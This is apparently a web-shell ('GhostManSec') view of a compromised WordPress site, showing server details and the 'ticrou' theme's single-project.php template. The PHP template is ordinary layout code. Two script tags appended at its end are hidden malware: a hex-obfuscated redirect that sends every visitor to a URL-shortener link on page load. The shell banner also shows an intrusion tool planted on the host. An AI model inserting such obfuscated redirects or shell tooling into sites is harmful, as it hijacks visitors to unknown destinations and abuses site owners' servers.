GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/emenu.anqa.it/wp-content/themes/ticrou/single-project.php
<?php get_header();
$data = \TICROU\Includes\Classes\Common::instance()->data('single-project')->get(); 

$layout = $data->get( 'layout' );
$class = ( !$layout || $layout == 'full' ) ? 'col-xs-12 col-sm-12 col-md-12 col-lg-12' : 'col-lg-8 col-md-12 col-sm-12';

?>

<!-- Page Title -->
<section class="page-title centred">
    <div class="bg-layer" style="background-image: url(<?php echo esc_url( $data->get( 'banner' ) ); ?>);"></div>
    <div class="auto-container">
        <div class="content-box">
            <h2><?php if( $data->get( 'title' ) ) echo wp_kses( $data->get( 'title' ), true ); else( the_title( ) ); ?></h2>
            <ul class="bread-crumb clearfix">
                <?php echo ticrou_the_breadcrumb(); ?>
            </ul>
        </div>
    </div>
</section>
<!-- End Page Title -->

<?php while (have_posts()) : the_post(); ?>

<!--
=====================================================
    Team Details
=====================================================
-->
<!-- gallery-details -->
<section class="gallery-details">
    <div class="auto-container">
        <div class="row clearfix">
            <?php if ( $data->get( 'layout' ) == 'left' ) { ?>
            <div class="col-lg-4 col-md-12 col-sm-12 sidebar-side">
                <div class="project-sidebar gallery-sidebar">
                    <h2><?php esc_html_e( 'Project Information', 'ticrou' ); ?></h2>
                    <ul class="info-list clearfix">
                        <?php if(get_post_meta( get_the_id(), 'client', true )){ ?>
                        <li>
                            <h6><?php esc_html_e( 'Client:', 'ticrou' ); ?></h6>
                            <p><?php echo (get_post_meta( get_the_id(), 'client', true ));?></p>
                        </li>
                        <?php } ?>
                        <?php if(get_post_meta( get_the_id(), 'client', true )){ ?>
                        <li>
                            <h6><?php esc_html_e( 'Chef Team:', 'ticrou' ); ?></h6>
                            <p><?php echo (get_post_meta( get_the_id(), 'team_members', true ));?></p>
                        </li>
                        <?php } ?>
                        <?php if(get_post_meta( get_the_id(), 'client', true )){ ?>
                        <li>
                            <h6><?php esc_html_e( 'Event:', 'ticrou' ); ?></h6>
                            <p><?php echo (get_post_meta( get_the_id(), 'new_product', true ));?></p>
                        </li>
                        <?php } ?>
                        <?php if(get_post_meta( get_the_id(), 'client', true )){ ?>
                        <li>
                            <h6><?php esc_html_e( 'Date:', 'ticrou' ); ?></h6>
                            <p><?php echo (get_post_meta( get_the_id(), 'date', true ));?></p>
                        </li>
                        <?php } ?>
                        <?php if(get_post_meta( get_the_id(), 'client', true )){ ?>
                        <li>
                            <h6><?php esc_html_e( 'Location:', 'ticrou' ); ?></h6>
                            <p><?php echo (get_post_meta( get_the_id(), 'location', true ));?></p>
                        </li>
                        <?php } ?>
                    </ul>
                    <?php 
						$icons = get_post_meta( get_the_id(), 'project_social_profile_v3', true );
						if ( ! empty( $icons ) ) : 
					?>
					<ul class="social-links clearfix">
						<?php
						foreach ( $icons as $h_icon ) :
						$header_social_icons = json_decode( urldecode( ticrou_set( $h_icon, 'data' ) ) );
						if ( ticrou_set( $header_social_icons, 'enable' ) == '' ) {
							continue;
						}
						$icon_class = explode( '-', ticrou_set( $header_social_icons, 'icon' ) );
						?>
							<li><a href="<?php echo esc_url(ticrou_set( $header_social_icons, 'url' )); ?>" <?php if( ticrou_set( $header_social_icons, 'background' ) || ticrou_set( $header_social_icons, 'color' ) ):?>style="background-color:<?php echo esc_attr(ticrou_set( $header_social_icons, 'background' )); ?>; color: <?php echo esc_attr(ticrou_set( $header_social_icons, 'color' )); ?>"<?php endif;?>><i class="fab <?php echo esc_attr( ticrou_set( $header_social_icons, 'icon' ) ); ?>"></i></a></li>
						<?php endforeach; ?>
					</ul>
					<?php endif; ?>
                </div>
            </div>
            <?php } ?>
            
            
            <div class="<?php echo esc_attr( $class ); ?> content-side">
                <div class="project-details-content gallery-details-content">
                    <?php the_content();?>
                </div>
            </div>
            
            <?php if ( $data->get( 'layout' ) == 'right' ) { ?>
            <div class="col-lg-4 col-md-12 col-sm-12 sidebar-side">
                <div class="project-sidebar gallery-sidebar">
                    <?php if(get_post_meta( get_the_id(), 'information_title', true )){ ?><h2><?php echo (get_post_meta( get_the_id(), 'information_title', true ));?></h2><?php } ?>
                    <ul class="info-list clearfix">
                        <?php if(get_post_meta( get_the_id(), 'client', true )){ ?>
                        <li>
                            <h6><?php esc_html_e( 'Client:', 'ticrou' ); ?></h6>
                            <p><?php echo (get_post_meta( get_the_id(), 'client', true ));?></p>
                        </li>
                        <?php } ?>
                        <?php if(get_post_meta( get_the_id(), 'team_members', true )){ ?>
                        <li>
                            <h6><?php esc_html_e( 'Chef Team:', 'ticrou' ); ?></h6>
                            <p><?php echo (get_post_meta( get_the_id(), 'team_members', true ));?></p>
                        </li>
                        <?php } ?>
                        <?php if(get_post_meta( get_the_id(), 'new_product', true )){ ?>
                        <li>
                            <h6><?php esc_html_e( 'Event:', 'ticrou' ); ?></h6>
                            <p><?php echo (get_post_meta( get_the_id(), 'new_product', true ));?></p>
                        </li>
                        <?php } ?>
                        <?php if(get_post_meta( get_the_id(), 'date', true )){ ?>
                        <li>
                            <h6><?php esc_html_e( 'Date:', 'ticrou' ); ?></h6>
                            <p><?php echo (get_post_meta( get_the_id(), 'date', true ));?></p>
                        </li>
                        <?php } ?>
                        <?php if(get_post_meta( get_the_id(), 'location', true )){ ?>
                        <li>
                            <h6><?php esc_html_e( 'Location:', 'ticrou' ); ?></h6>
                            <p><?php echo (get_post_meta( get_the_id(), 'location', true ));?></p>
                        </li>
                        <?php } ?>
                    </ul>
                    
					<?php 
						$icons = get_post_meta( get_the_id(), 'project_social_profile_v3', true );
						if ( ! empty( $icons ) ) : 
					?>
					<ul class="social-links clearfix">
						<?php
						foreach ( $icons as $h_icon ) :
						$header_social_icons = json_decode( urldecode( ticrou_set( $h_icon, 'data' ) ) );
						if ( ticrou_set( $header_social_icons, 'enable' ) == '' ) {
							continue;
						}
						$icon_class = explode( '-', ticrou_set( $header_social_icons, 'icon' ) );
						?>
						<li><a href="<?php echo esc_url(ticrou_set( $header_social_icons, 'url' )); ?>" <?php if( ticrou_set( $header_social_icons, 'background' ) || ticrou_set( $header_social_icons, 'color' ) ):?>style="background-color:<?php echo esc_attr(ticrou_set( $header_social_icons, 'background' )); ?>; color: <?php echo esc_attr(ticrou_set( $header_social_icons, 'color' )); ?>"<?php endif;?>><i class="fab <?php echo esc_attr( ticrou_set( $header_social_icons, 'icon' ) ); ?>"></i></a></li>
						<?php endforeach; ?>
					</ul>
					<?php endif; ?>
                </div>
            </div>
            <?php } ?>
        </div>
    </div>
    
	<?php if((get_previous_post()) || (get_next_post())): ?>
    <div class="project-nav-btn gallery-nav-btn">
        <div class="auto-container">
            <div class="btn-inner">
                <?php global $post; $prev_post = get_previous_post();
					if (!empty($prev_post)):
					$post_thumbnail_id = get_post_thumbnail_id($prev_post->ID);
					$post_thumbnail_url = wp_get_attachment_url( $post_thumbnail_id );
				?>
                <div class="single-btn prev-btn">
                    <a href="<?php echo esc_url(get_permalink($prev_post->ID)); ?>"><i class="fa fa-angle-left"></i><i class="fa fa-angle-left"></i><span><?php esc_html_e('Prev', 'ticrou'); ?></span></a>
                </div>
                <?php endif; ?>
                
                <?php global $post; $next_post = get_next_post();
					if (!empty($next_post)):
					$post_thumbnail_ids = get_post_thumbnail_id($next_post->ID);
					$post_thumbnail_urls = wp_get_attachment_url( $post_thumbnail_ids );
				?>
                <div class="icon-box"><i class="flaticon-menu"></i></div>
                <div class="single-btn next-btn">
                    <a href="<?php echo esc_url(get_permalink($next_post->ID)); ?>"><span><?php esc_html_e('Next', 'ticrou'); ?></span><i class="fa fa-angle-right"></i><i class="fa fa-angle-right"></i></a>
                </div>
                <?php endif; ?>
            </div>
        </div>
    </div>
    <?php endif; ?>
    
</section>
<!-- gallery-details end -->

<?php endwhile; ?>
<?php get_footer(); ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>